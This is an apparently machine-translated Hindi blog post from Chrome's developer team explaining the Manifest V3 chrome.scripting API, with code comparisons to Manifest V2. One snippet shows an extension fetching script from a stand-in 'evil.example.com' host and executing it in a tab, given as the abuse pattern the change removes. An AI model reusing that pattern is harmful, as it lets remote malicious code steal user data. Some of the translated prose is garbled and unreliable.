पेश है chrome.scripting

मेनिफ़ेस्ट V3 में Chrome के एक्सटेंशन प्लैटफ़ॉर्म में कई बदलाव किए गए हैं. इस पोस्ट में, हम इनमें से एक और अहम बदलाव की वजह से होने वाले बदलावों और वजहों को एक्सप्लोर करेंगे: chrome.scripting API के बारे में जानकारी.

chrome.scripting क्या है?

जैसा कि नाम से पता चल सकता है, chrome.scripting एक नया नेमस्पेस है जिसे मेनिफ़ेस्ट V3 में शामिल किया गया है जो स्क्रिप्ट और स्टाइल इंजेक्शन की क्षमताओं के लिए ज़िम्मेदार हैं.

जिन डेवलपर ने पहले Chrome एक्सटेंशन बनाए हैं उन्हें मेनिफ़ेस्ट V2 तरीकों के बारे में पता हो सकता है Tabs API पर जाकर, जैसे कि chrome.tabs.executeScript और chrome.tabs.insertCSS. इन तरीकों से, एक्सटेंशन को स्क्रिप्ट इंजेक्ट करने और स्टाइलशीट को क्रम से पेज में बदल दिया जाता है. मेनिफ़ेस्ट V3 में, इन सुविधाओं को chrome.scripting. साथ ही, हम आने वाले समय में इस एपीआई को कुछ नई सुविधाओं के साथ बढ़ाने पर काम कर रहे हैं.

नया एपीआई क्यों बनाएं?

इस तरह के बदलाव के साथ, सबसे पहला सवाल यह आता है कि "क्यों?"

कुछ अलग चीज़ों की वजह से Chrome टीम ने स्क्रिप्टिंग के लिए एक नया नेमस्पेस शुरू करने का फ़ैसला लिया. पहली बात यह है कि Tabs एपीआई, सुविधाओं के लिए एक कबाड़ वाला पैनल है. दूसरा, हमें अपने समाचार संगठन के लिए मौजूदा executeScript एपीआई में बदलाव किए गए. तीसरा, हम जानते थे कि हम स्क्रिप्टिंग का दायरा बढ़ाना चाहते थे अतिरिक्त सुविधाएं मौजूद हैं. साथ मिलकर, इन चिंताओं से साफ़ तौर पर पता चलता है कि नए नेमस्पेस की ज़रूरत है में शामिल हो सकते हैं.

कबाड़ का ड्रॉर

एक्सटेंशन टीम को पिछले कुछ सालों से यह समस्या परेशान कर रही थी कि chrome.tabs एपीआई ओवरलोड है. जब इस एपीआई को पहली बार पेश किया गया था, तब इसकी ज़्यादातर सुविधाएं दिए गए विज्ञापन, ब्राउज़र टैब की व्यापक अवधारणा से संबंधित थे. हालांकि, उस समय भी, इसमें बहुत सी सुविधाएँ हैं और धीरे-धीरे यह कलेक्शन और भी बड़ा हुआ है.

मेनिफ़ेस्ट V3 के रिलीज़ होने तक, Tabs एपीआई बुनियादी टैब मैनेजमेंट को कवर करने लगता था, चयन मैनेजमेंट, विंडो ऑर्गनाइज़ेशन, मैसेज सेवा, ज़ूम कंट्रोल, बेसिक नेविगेशन, स्क्रिप्टिंग, और कुछ अन्य छोटी क्षमताओं का भी इस्तेमाल किया जा सकता है. हालांकि, ये सभी ज़रूरी हैं, लेकिन इन मामलों में यह थोड़ा मुश्किल हो सकता है कि डेवलपर के लिए उपलब्ध, जैसे कि वे शुरू कर रहे हैं और Chrome टीम के लिए उपलब्ध है, क्योंकि हम प्लैटफ़ॉर्म का रखरखाव करते हैं और डेवलपर कम्यूनिटी के अनुरोधों पर विचार किया जा सकता है.

सवाल से जुड़ी दूसरी समस्या यह है कि tabs की अनुमति सही से समझ में नहीं आई है. हालांकि, कई अन्य अनुमतियां दिए गए एपीआई के ऐक्सेस पर पाबंदी लगाती हैं (जैसे, storage), यह अनुमति थोड़ी-बहुत है असामान्य रूप से, यह एक्सटेंशन को सिर्फ़ Tab इंस्टेंस पर मौजूद संवेदनशील प्रॉपर्टी का ऐक्सेस देता है (और एक्सटेंशन से Windows API पर भी असर पड़ता है). दरअसल, कई एक्सटेंशन डेवलपर गलती से मान लेते हैं कि उन्हें Tabs एपीआई पर chrome.tabs.create जैसे तरीके ऐक्सेस करने के लिए यह अनुमति चाहिए या और जर्मन भाषा में, chrome.tabs.executeScript. Tabs API के अलावा किसी अन्य सुविधा को इस्तेमाल करने पर, थोड़ी-बहुत ग़लतफ़हमी है.

नुकसान पहुंचा सकने वाले बदलाव

मेनिफ़ेस्ट V3 को डिज़ाइन करते समय, हम जिन मुख्य समस्याओं को ठीक करना चाहते थे उनमें से एक समस्या थी, कॉन्टेंट का गलत इस्तेमाल और मैलवेयर "रिमोट से होस्ट किए गए कोड" की मदद से चालू किया जाता है - लागू किया जाने वाला कोड, लेकिन एक्सटेंशन में शामिल नहीं किया गया पैकेज. एक्सटेंशन का गलत इस्तेमाल करने वाले लेखक, रिमोट सर्वर से फ़ेच की गई स्क्रिप्ट को इन कामों के लिए एक्ज़ीक्यूट करते हैं लोगों का डेटा चुरा सकते हैं, मैलवेयर इंजेक्ट कर सकते हैं, और उनका पता लगाने से बच सकते हैं. हालांकि, अच्छे कलाकार भी इस क्षमता का इस्तेमाल करते हैं, लेकिन हम उन्हें लगा कि असल में आज की स्थिति में बने रहना बहुत खतरनाक है.

एक्सटेंशन कई तरीकों से बंडल नहीं किए गए कोड को चला सकते हैं, लेकिन इनमें से सबसे सही तरीका काम का है यहां मेनिफ़ेस्ट V2 chrome.tabs.executeScript तरीका दिया गया है. इस तरीके से, आपको टारगेट टैब में कोड की आर्बिट्रेरी स्ट्रिंग एक्ज़ीक्यूट करना. इसका मतलब है कि नुकसान पहुंचाने वाले डेवलपर ने किसी रिमोट सर्वर से आर्बिट्रेरी स्क्रिप्ट फ़ेच कर सकता है और ऐसे किसी भी पेज पर उसे एक्ज़ीक्यूट कर सकता है जो एक्सटेंशन ऐक्सेस दें. हम जानते थे कि अगर हम रिमोट कोड की समस्या को सुलझाना चाहते हैं, तो सुविधा.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

हम मेनिफ़ेस्ट के वर्शन 2 के डिज़ाइन से जुड़ी कुछ दूसरी समस्याओं को भी ठीक करना चाहते हैं. साथ ही, एपीआई को बेहतर और सटीक बनाने में मदद करने वाला टूल बनाया जा सकता है.

हालांकि, हम Tabs API में इस तरीके का हस्ताक्षर बदल सकते थे, लेकिन हमें लगा कि इन नुकसान पहुंचाने वाले बदलावों और नई क्षमताओं की शुरुआत की गई है (जिसके बारे में अगले सेक्शन में बताया गया है), एक ब्रेक लेना सभी के लिए आसान होता.

स्क्रिप्टिंग की सुविधाओं को बढ़ाया जा रहा है

मेनिफ़ेस्ट V3 के डिज़ाइन प्रोसेस में जिस दूसरी चीज़ पर ध्यान दिया गया वह था, Chrome के एक्सटेंशन प्लैटफ़ॉर्म की अतिरिक्त स्क्रिप्टिंग क्षमताओं को पूरा कर सकते हैं. खास तौर पर, हम यह जोड़ना चाहते थे कि डाइनैमिक कॉन्टेंट स्क्रिप्ट के लिए सहायता मिलती है और executeScript तरीके की सुविधाओं को बढ़ाया जा सकता है.

डाइनैमिक कॉन्टेंट स्क्रिप्ट सपोर्ट, Chromium में लंबे समय से इस सुविधा का अनुरोध कर रहा है. आज, मेनिफ़ेस्ट V2 और V3 Chrome एक्सटेंशन, सिर्फ़ स्टैटिक तरीके से कॉन्टेंट स्क्रिप्ट का एलान कर सकते हैं manifest.json फ़ाइल; यह प्लैटफ़ॉर्म नई कॉन्टेंट स्क्रिप्ट को रजिस्टर करने का विकल्प नहीं देता है. कॉन्टेंट स्क्रिप्ट रजिस्ट्रेशन या रनटाइम के दौरान कॉन्टेंट स्क्रिप्ट का रजिस्ट्रेशन रद्द करना.

हमें पता था कि हम मेनिफ़ेस्ट V3 में इस सुविधा के अनुरोध को पूरा करना चाहते थे. हालांकि, हमारा कोई भी मौजूदा अनुरोध नहीं था मुझे लगा कि एपीआई आपके लिए सबसे सही है. हमने Firefox की Content Scripts में अलाइन करने पर भी विचार किया एपीआई का इस्तेमाल भी किया है. हालांकि, शुरुआत में ही हमें इस तरीके की कुछ बड़ी कमियों का पता चल गया था. हमें पता था कि हमारे साथ गलत हस्ताक्षर होंगे. उदाहरण के लिए, code के साथ काम नहीं करना प्रॉपर्टी). दूसरा, हमारे एपीआई में डिज़ाइन से जुड़ी शर्तें अलग थीं. उदाहरण के लिए, हमारे एपीआई में डिज़ाइन से जुड़ी शर्तें सर्विस वर्कर के लाइफ़टाइम तक सीमित नहीं रहती है. अंत में, यह नेमस्पेस हमें कई पेजों पर ले जाएगा जब हम एक्सटेंशन में बड़े पैमाने पर स्क्रिप्ट बनाने के बारे में सोच रहे होते हैं.

executeScript के सामने हम यह भी बताना चाहते थे कि यह एपीआई, Tab के अलावा और भी कई काम कर सकता है एपीआई वर्शन काम करता है. खास तौर पर, हम फ़ंक्शन और आर्ग्युमेंट को और आसानी से इस्तेमाल करना चाहते थे और गैर-"टैब" को टारगेट करने के लिए खास फ़्रेम को टारगेट करें संदर्भ.

आने वाले समय में, हम इस बात पर भी विचार कर रहे हैं कि एक्सटेंशन, इंस्टॉल किए गए पीडब्ल्यूए और अन्य जो सैद्धांतिक रूप से "टैब" में मैप नहीं होते.

tab.exeuteScript और scripting.executScript के बीच के बदलाव

हमें इस पोस्ट के बाकी हिस्से में, मुझे इनके बीच की समानताओं और अंतरों के बारे में बारीकी से बताना है chrome.tabs.executeScript और chrome.scripting.executeScript.

आर्ग्युमेंट के साथ फ़ंक्शन इंजेक्ट करना

प्लैटफ़ॉर्म को, रिमोट तौर पर होस्ट किए गए कोड के हिसाब से कैसे बेहतर बनाया जा सकता है, इस पर विचार करते समय पाबंदियों के साथ-साथ, हम आर्बिट्रेरी कोड को एक्ज़ीक्यूट करने के रॉ कॉन्टेंट के बीच संतुलन बनाना चाहते थे और सिर्फ़ स्टैटिक कॉन्टेंट स्क्रिप्ट की अनुमति देता है. हमने जिस समाधान पर चर्चा की, वह था एक्सटेंशन को इंजेक्ट करने की अनुमति देना फ़ंक्शन को कॉन्टेंट स्क्रिप्ट के तौर पर इस्तेमाल करने और वैल्यू के कलेक्शन को आर्ग्युमेंट के तौर पर भेजने के लिए किया जाता है.

आइए, (ओवरसिंप्लिफ़ाइड) उदाहरण पर नज़र डालें. मान लें कि हम एक ऐसी स्क्रिप्ट इंजेक्ट करना चाहते थे जो जब उपयोगकर्ता, एक्सटेंशन के ऐक्शन बटन (टूलबार में मौजूद आइकॉन) पर क्लिक करता है, तब उसका नाम इस्तेमाल करके उपयोगकर्ता का स्वागत किया गया हो. मेनिफ़ेस्ट V2 में, हम डाइनैमिक तरीके से एक कोड स्ट्रिंग बना सकते हैं और उस स्क्रिप्ट को मौजूदा करें.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

हालांकि, मेनिफ़ेस्ट V3 एक्सटेंशन ऐसे कोड का इस्तेमाल नहीं कर सकता जो एक्सटेंशन के साथ बंडल में नहीं होता है. हमारा लक्ष्य था कि कुछ ऐसे डाइनैमिक सिस्टम को सुरक्षित रखें जिनकी मदद से, मेनिफ़ेस्ट V2 एक्सटेंशन के लिए आर्बिट्रेरी कोड ब्लॉक चालू किए गए हों. कॉन्टेंट बनाने फ़ंक्शन और आर्ग्युमेंट तरीके से काम करने से, 'Chrome वेब स्टोर' के समीक्षकों, उपयोगकर्ताओं, और इसमें रुचि रखने वाली पक्षों को, एक्सटेंशन के इस्तेमाल से जुड़े जोखिमों का ज़्यादा सटीक आकलन करने के साथ-साथ, डेवलपर को उपयोगकर्ता सेटिंग या ऐप्लिकेशन की स्थिति के आधार पर, एक्सटेंशन के रनटाइम के व्यवहार में बदलाव करना होता है.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

फ़्रेम टारगेट करना

हम अपडेट किए गए एपीआई में, फ़्रेम के साथ डेवलपर के इंटरैक्ट करने के तरीके को भी बेहतर बनाना चाहते थे. मेनिफ़ेस्ट V2 executeScript के वर्शन की मदद से डेवलपर, किसी टैब या किसी खास अवधि के सभी फ़्रेम को टारगेट कर सकते हैं फ़्रेम में रखें. chrome.webNavigation.getAllFrames का इस्तेमाल करके, इसमें मौजूद सभी फ़्रेम की सूची देखी जा सकती है एक टैब.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

मेनिफ़ेस्ट V3 में, हमने विकल्प ऑब्जेक्ट में वैकल्पिक frameId इंटीजर प्रॉपर्टी को frameIds पूर्णांकों की वैकल्पिक कैटगरी; इससे डेवलपर एक ही वीडियो में कई फ़्रेम टारगेट कर सकते हैं एपीआई कॉल.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

स्क्रिप्ट इंजेक्शन के नतीजे

हमने मेनिफ़ेस्ट V3 में स्क्रिप्ट इंजेक्शन के नतीजे दिखाने के तरीके को भी बेहतर बनाया है. एक "नतीजे" इससे मेल खाता है मूल रूप से स्क्रिप्ट में आकलन किया गया अंतिम स्टेटमेंट. इसे ऐसे मानें कि जब आपको Chrome DevTools कंसोल में eval() को कॉल करें या कोड का ब्लॉक एक्ज़ीक्यूट करें सभी प्रोसेस में नतीजों को पास कर सकती हैं.

मेनिफ़ेस्ट V2 में, executeScript और insertCSS, एक्ज़ीक्यूशन के सामान्य नतीजों का कलेक्शन दिखाएंगे. अगर आपके पास केवल एक इंजेक्शन पॉइंट है, तो यह ठीक है, लेकिन अगर कई फ़्रेम में इंजेक्ट कर सकते हैं, ताकि यह पता न लगाया जा सके कि कौनसा नतीजा किस फ़्रेम.

अच्छे उदाहरण के लिए, मेनिफ़ेस्ट V2 औरresults एक ही एक्सटेंशन का मेनिफ़ेस्ट V3 वर्शन. एक्सटेंशन के दोनों वर्शन एक ही को इंजेक्ट करेंगे कॉन्टेंट स्क्रिप्ट दर्ज करें और हम उसी डेमो पेज के नतीजों की तुलना करेंगे.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

मेनिफ़ेस्ट के V2 वर्शन को चलाने पर, हमें [1, 0, 5] वाला कलेक्शन वापस मिलता है. कौनसा नतीजा मेल खाता है को मेन फ़्रेम में जोड़ दें और कौनसा iframe के लिए? हमें रिटर्न वैल्यू की जानकारी नहीं मिलती है, इसलिए हमें नहीं पता ज़रूर.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

मेनिफ़ेस्ट V3 वर्शन में, results में अब सिर्फ़ आकलन के नतीजे दिखाता है और नतीजे के ऑब्जेक्ट, हर फ़्रेम के लिए साफ़ तौर पर फ़्रेम के आईडी की पहचान करते हैं नतीजा. इससे डेवलपर के लिए, नतीजे का इस्तेमाल करना और किसी खास खोज क्वेरी पर कार्रवाई करना आसान हो जाता है फ़्रेम.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

आखिर में खास जानकारी

मेनिफ़ेस्ट वर्शन में होने वाली बढ़ोतरी की वजह से, एक्सटेंशन एपीआई के बारे में फिर से विचार करने और उन्हें आधुनिक बनाने का मौका मिलता है. हमारा लक्ष्य मेनिफ़ेस्ट V3 की मदद से, असली उपयोगकर्ता को बेहतर अनुभव देने के लिए एक्सटेंशन को सुरक्षित बनाया गया है. साथ ही, हम डेवलपर के अनुभव को बेहतर बना रहे हैं. मेनिफ़ेस्ट V3 में chrome.scripting को शामिल करके, हम ये काम कर पाए Tab API का इस्तेमाल करने से, ज़्यादा सुरक्षित एक्सटेंशन प्लैटफ़ॉर्म के तौर पर executeScript को फिर से बनाने में मदद मिलती है. साथ ही, स्क्रिप्टिंग से जुड़ी नई सुविधाओं को तैयार करने का काम शुरू किया. ये सुविधाएं इस साल के आखिर में उपलब्ध होंगी.